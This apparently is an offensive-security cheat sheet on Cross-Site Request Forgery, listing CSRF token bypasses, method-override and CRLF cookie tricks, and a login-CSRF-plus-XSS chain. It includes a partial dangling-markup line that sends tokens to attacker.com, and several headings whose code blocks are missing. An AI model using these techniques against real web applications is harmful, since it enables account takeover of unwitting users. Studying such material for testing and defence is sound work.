Skip to main content
Cross-Site Request Forgery (CSRF) exploits a web application’s trust in an authenticated user’s browser. An attacker tricks a victim into sending a forged request using their active session.

Prerequisites for a CSRF Attack

  1. A valuable action — password change, email change, privilege escalation
  2. Cookie-only session management — session maintained via cookies or HTTP Basic Auth
  3. No unpredictable parameters — no unique tokens required

Defenses and Their Pitfalls

Token Bypass Techniques

Missing Token Validation

Token Not Tied to User Session

If tokens are validated against a global pool:
  1. Authenticate with your own account
  2. Obtain a valid token from the pool
  3. Use that token in a CSRF attack against another victim

POST to GET Method Bypass

Some applications only validate CSRF on POST:

Method Override

Override headers: X-HTTP-Method, X-HTTP-Method-Override, X-Method-Override If the token is in both cookie and request body, exploit CRLF injection to set the cookie:

Referrer Bypass

PoC Templates

Stored CSRF via HTML Injection

Login CSRF + Stored XSS Chain

Force the victim to log into an attacker-controlled account, then navigate to a page with stored XSS:

Exfiltrating CSRF Tokens

If a CSRF token is in use, exfiltrate it via:
  • XSS — make the victim’s browser read and send the token
  • Dangling Markup — steal tokens from page attributes using <img src="http://attacker.com/

CSRF Brute Force Script

Tools